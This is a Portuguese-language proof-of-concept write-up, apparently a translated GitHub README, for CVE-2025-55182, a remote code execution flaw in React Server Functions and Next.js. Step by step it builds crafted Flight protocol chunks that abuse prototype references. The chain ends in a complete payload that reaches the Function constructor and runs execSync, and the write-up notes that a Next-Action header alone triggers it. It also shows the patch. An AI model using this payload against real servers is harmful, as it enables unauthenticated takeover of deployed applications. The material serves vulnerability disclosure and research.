
Exploit de prova de conceito para CVE-2025-55182, alcançando execução remota de código em React Server Functions via poluição de protótipo e chunks de protocolo Flight manipulados.
Autor original: https://github.com/msanft/CVE-2025-55182
Esta vulnerabilidade permite RCE em React Server Functions, por exemplo, como as oferecidas pelo Next.js através de referências inseguras a protótipos.
Não sou especialista em React ou Next.js, portanto leve todas as informações aqui com uma pitada de sal.
O React oferece Server Functions1, que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência, ou realizar requisições autenticadas para as quais o cliente não possui credenciais.
O React usa algo chamado React Flight Protocol2 para serialização de valores passados às Server Functions.
O cliente passa "chunks" para o servidor, por exemplo, via dados de formulário:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Como mostrado, esses chunks podem ter referências entre si. O payload acima é desserializado no servidor para o seguinte:
{ object: 'fruit', name: 'cherry' }
O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica para a vulnerabilidade real.
Até este commit3, ao percorrer chunks na resolução de referências, como obter o fruitName do chunk 2 no exemplo acima, o React não verificava se a chave solicitada estava de fato definida no objeto. Isso nos permitia obter o protótipo do objeto4.
Isso pode ser demonstrado com um payload como este:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Que é desserializado no construtor de função5:
[Function: Function]
Quando o chunk com ID 0 não é um array, mas um objeto, podemos definir a chave then como o construtor de função. O objeto é então retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Quando isso retorna uma thenable, o await no chamador irá chamá-la. É o que acontece com este payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Levando a este erro:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
O erro se parece com isso porque o V8 chama uma função awaited com as funções internas resolve e reject, que, quando toStringed, serializam para algo assim:
function () { [native code] }
Já que podemos trivialmente recuperar o construtor Function, o caminho mais direto é encontrar um call gadget que invoque o construtor com um valor controlado pelo usuário (ou seja, o código da função como uma string) e, posteriormente, chame a função retornada.
Existem vários pontos que podem chamar o construtor de função, por exemplo resolveServerReference, onde id é um objeto controlado, e lastIndexOf pode ser sobrescrito para retornar uma string controlada pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser sobrescrito para o construtor de função. No entanto, esse ponto não funciona, pois a segunda invocação de .slice() fornece um número como primeiro argumento, que -pelo que sei- nunca pode ser tratado pelo construtor de função.
Aqui, entra uma ideia brilhante de maple31426. Quando getChunk pega o chunk no ID 0 como referência raiz para começar a resolver a cadeia de referências, esse mesmo chunk pode resolver para um "chunk falso" criado.
Podemos referenciar o chunk 0 criado no chunk 1 usando a sintaxe $@, que retorna o chunk "bruto", não o seu valor resolvido:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando isso com a nossa sobrescrita de then acima, podemos criar algo assim:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Aqui, o chunk 0 sobrescreve seu próprio .then() com o .then() da sua própria representação de chunk bruto. Simplificando, sobrescrevemos nosso próprio .then() com Chunk.prototype.then, que existe, já que Chunks são thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Com o payload acima, Chunk.prototype.then é eventualmente chamado com o chunk criado de ID 0.
Como mostrado acima, quando .status em nosso chunk falso é resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Entramos em initializeModelChunk. Aqui, .value é parseado como JSON, e então referências são resolvidas no objeto retornado, usando o contexto "externo" dos nossos chunks com IDs 0 e 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Dentro disso, temos agora uma segunda passada de avaliação com um pouco mais de valores aos quais temos acesso devido ao contexto externo já estar resolvido.
Existe um call gadget no tratamento de dados blob com o prefixo $B no flight protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Usando o campo especial _response, controlamos a propriedade response do chunk criado:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Com isso, podemos criar um objeto com propriedades falsas ._formData e ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
O .reason precisa ser adicionado para contornar a falha na invocação de toString em `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Ao apontar ._formData para o construtor de função, e ._prefix para o nosso código, obtemos um gadget de invocação para o construtor de função na desserialização de blob:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
Nossa função criada é então retornada por parseModelString como o método .then() do chunk criado, que também é aguardado, já que tudo isso ocorre em uma única cadeia de resolução de promessas. Assim, retornando uma thenable, nossa função criada é chamada. Isso constitui o call gadget necessário referenciado acima.
Juntando tudo isso com um payload de RCE real, obtemos algo assim:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
O bônus, que torna essa vulnerabilidade ainda pior, é que tudo isso acontece durante a desserialização, antes que a ação solicitada seja primeiramente validada em getActionModIdOrError. Assim, definir um cabeçalho como Next-Action: foo é suficiente para disparar a vulnerabilidade.
O uso das referências de chunks para recuperar propriedades de protótipo é corrigido com esta verificação:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩